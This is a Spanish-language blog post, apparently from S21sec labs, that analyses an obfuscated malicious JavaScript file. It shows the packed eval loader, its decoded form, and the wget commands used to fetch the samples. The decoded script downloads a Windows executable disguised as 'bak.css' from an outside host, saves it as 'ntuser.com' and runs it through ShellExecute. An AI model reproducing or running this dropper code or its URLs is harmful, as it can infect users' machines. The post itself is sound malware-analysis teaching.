La seguridad por oscuridad nunca es recomendada.


Los creadores de malware muchas veces utilizan javascript para infectar nuestras máquinas, y aplican técnicas de ofuscación para tratar de no ser detectados y evitar o dificultar el análisis.





Vamos a ver cómo cualquiera puede analizar un javascript en "dos patadas", analizando un ejemplo práctico e intentando adivinar qué realiza un fichero .js que parezca (o sepamos) sospechoso.

Veamos este fichero de javascript:
http://1.360-1.cn/ms06014.js

$ wget http://1.360-1.cn/ms06014.js
$ cat ms06014.js
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('v{a 7=f.r("\\k\\s\\b\\h\\o\\6\\o\\t\\3\\8\\E\\k\\B\\F\\g\\g\\A","");a j="\\l\\3\\3\\z\\C\\d\\d\\m\\6\\4\\h\\i\\8\\D\\y\\x\\i\\q\\8\\w\\4\\3\\d\\u\\Q\\U\\8\\b\\6\\6";7.T("S",j,0);7.G();5.W=1;5.n();5.X(7.V);c="..\\\\R.K";5.J(c,2);5.I();a 9=f.H("9.L","");9["\\M\\l\\4\\p\\p\\P\\O\\4\\b\\m\\3\\4"](c,"","n")}N(e){}',60,60,'|||x74|x65|as|x73|xml|x2e|Shell|var|x63|path|x2f||ado|x54|x72|x31|url|
x4d|x68|x75|open|x6f|x6c|x36|CreateObject|x69|x66|x62|try|x6e|x2d|x33|x70|x50|
x4c|x3a|x32|x58|x48|Send|createobject|close|savetofile|com|Application|x53|
catch|x78|x45|x61|ntuser|GET|Open|x6b|responseBody|type|write'.split('|'),0,{}))

Vemos que no es nada legible, ya que está ofuscado. En estos casos, lo más sencillo y práctico es ejecutar el javascript, y reemplazar las funciones de evaluación o escritura en la página web por un simple print. En definitiva, cambiamos el "eval" por un "print", y lo ejecutamos:

$ js ms06014.js > limpio.js

Veamos su contenido:
$ cat limpio.js
try{var xml=ado.CreateObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50","");var url="\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73";xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var Shell=ado.createobject("Shell.Application","");Shell["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](path,"","open")}catch(e){}

Los strings no están muy claros, asi que veamos qué nos dice una consola de python:

>>> print "\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50"
Microsoft.XMLHTTP
>>> print "\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73"
http://user1.23-16.net/bak.css
>>> print "\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"
ShellExecute
>>>

Lo reemplazamos en el script, ponemos un salto de línea detrás de cada ";" y obtenemos:

$ cat limpio.js
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
var url="http://user1.23-16.net/bak.css";
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var Shell=ado.createobject("Shell.Application","");
Shell["ShellExecute"](path,"","open")
}
catch(e)
{
}

Parece que obtiene un fichero (bak.css), lo guarda en un path que él indica y lo lanza. Autoexplicativo, ¿no?
Por supuesto, parece que dicho fichero no es un css, pero vamos a corroborarlo:

$ wget http://user1.23-16.net/bak.css
$ file bak.css
bak.css: MS-DOS executable, PE for MS Windows (GUI) Intel 80386 32-bit

Un exe renombrado a css descargado y lanzado de un javascript ofuscado no puede ser bueno, pero para asegurarnos se lo pasamos al antivirus (podemos utilizar un servicio como el de Jotti: http://virusscan.jotti.org/) y:

AntiVir Found TR/Crypt.XPACK.Gen
ArcaVir Found Heur.Win32.I, Heur.RoundKick
CPsecure Found Troj.Downloader.W32.Small.zie
Dr.Web Found Trojan.DownLoad.3232
F-Prot Antivirus Found W32/Warezov.B.gen!Eldorado
F-Secure Anti-Virus Found Trojan-Downloader.Win32.Small.zie
Kaspersky Anti-Virus Found Trojan-Downloader.Win32.Small.zie
NOD32 Found a variant of Win32/TrojanDownloader.Agent.OBQ
Norman Virus Control Found Suspicious_F.gen
Sophos Antivirus Found Mal/Packer
VBA32 Found Embedded.Trojan-Downloader.Win32.Small.zfq (probable variant)

¡Virus!
Existen ofuscaciones mucho más fuertes, como la disección de la lógica de la función en múltiples funciones, pero como ejemplo ésta es muy didáctica.

Fuente:
Por Mikel Gastesi
S21sec labs
http://blog.s21sec.com



Otras noticias de interés:

Estudio revela que el 42% de los servidores vulnerados con iframes son de Brasil
Durante el último tiempo se ha podido ver cómo diferentes servidores legítimos de Latinoamérica son comprometidos para luego utilizarlos como medio de infección. Considerando los ya conocidos iframes, hoy hablaremos sobre datos relevados a parti...
Detalles sobre la vulnerabilidad de Microsoft Excel
Microsoft ha publicado nuevos detalles sobre la vulnerabilidad que afecta a Microsoft Excel, junto con algunas técnicas para mitigar el posible impacto. El fallo se debe a una validación errónea de memoria que puede derivar en la ejecución de có...
McAfee detecta el mayor ciberataque de la historia
La empresa de antivirus McAfee ha informado sobre un ataque masivo que ha afectado a 72 organizaciones de diversos países y se ha convertido en el mayor hasta la fecha....
Google Toolbar puede permitir la ejecución de scripts
La barra de herramientas de Google, posee un agujero en la validación del ingreso de datos en la página del About (Acerca de), que puede permitir a usuarios locales la ejecución de código en la zona de seguridad de Mi PC....
Fallece el diseñador del lenguaje Ada
Jean Ichbiah, diseñador principal del lenguaje de programación Ada durante 1977-1983, ha fallecido el día 26 de enero de 2007. Ada es un lenguaje multipropósito, orientado a objetos y concurrente, pudiendo llegar desde la facilidad de Pascal hast...
Más allá de la protección
Los sistemas de protección informática, activos y pasivos, no son suficientes para garantizar la inviolabilidad de un sistema. Es necesario ir un paso más allá y entrar nel terreno de la prevención, pese a las complicaciones técnicas y legales ...
Nueva versión del navegador Opera para Linux
Opera Software ya presentó la nueva versión de su navegador para Linux, la 6.0. Una de las más significativas novedades de esta es que incluye soporte para otros caracteres aparte del latino, tales como chino y japonés. Además, posee un editor d...
¿Se puede confiar en el UAC de Windows Vista?
Ollie Whitehouse de Symantec ha descubierto una forma de burlar el código de colores que utiliza UAC (User Account Control) de Windows Vista. Esta nueva funcionalidad en Vista, destinada a reforzar el control de los privilegios de los usuarios...
Detenidos dos policías británicos por posesión de pornografía infantil
Dos policias británicos han sido detenidos por posesión de pornografía infantil a raíz de una amplia investigación efectuada por el FBI en varios portales de Internet sospechosos, confirmó ayer la Policía de Sussex (sur de Inglaterra). ...
Internet Explorer 8 ya disponible
Hoy es el día elegido por Microsoft para el lanzamiento mundial de Internet Explorer 8, la nueva versión del navegador de Internet, que centra sus novedades en la velocidad y la seguridad....

Brindanos
un o una


Redes Sociales

Publicidad


Gana Bitcoins desde tu casa

Categorías


Planeta Vaslibre

Blog Roll




Nube de tags

  • anonimato
  • anonimo
  • antivirus
  • apache
  • blog
  • bsd
  • bug
  • centos
  • chrome
  • cifrado
  • computer
  • debian
  • exploits
  • fedora
  • fice
  • firefox
  • forense
  • freebsd
  • gentoo
  • github
  • gnome
  • gnu
  • gpl
  • gtk
  • hack
  • hacking
  • hosting
  • informatica
  • internet
  • isos
  • libre
  • licencias
  • linux
  • linuxmint
  • lxde
  • micros
  • mint
  • mit
  • mozilla
  • mysql
  • noticia
  • nunca
  • opensource
  • oscuridad
  • pgp
  • php
  • recomendada
  • sabayon
  • seguridad
  • system
  • tecnologia
  • thunar
  • thunderbird
  • tor
  • troyanos
  • tware
  • ubuntu
  • underground
  • vaslibre
  • virus
  • viserproject
  • vivaldi
  • vulnerabilidades
  • web
  • website
  • windows
  • xanadu
  • xfce
  • xombra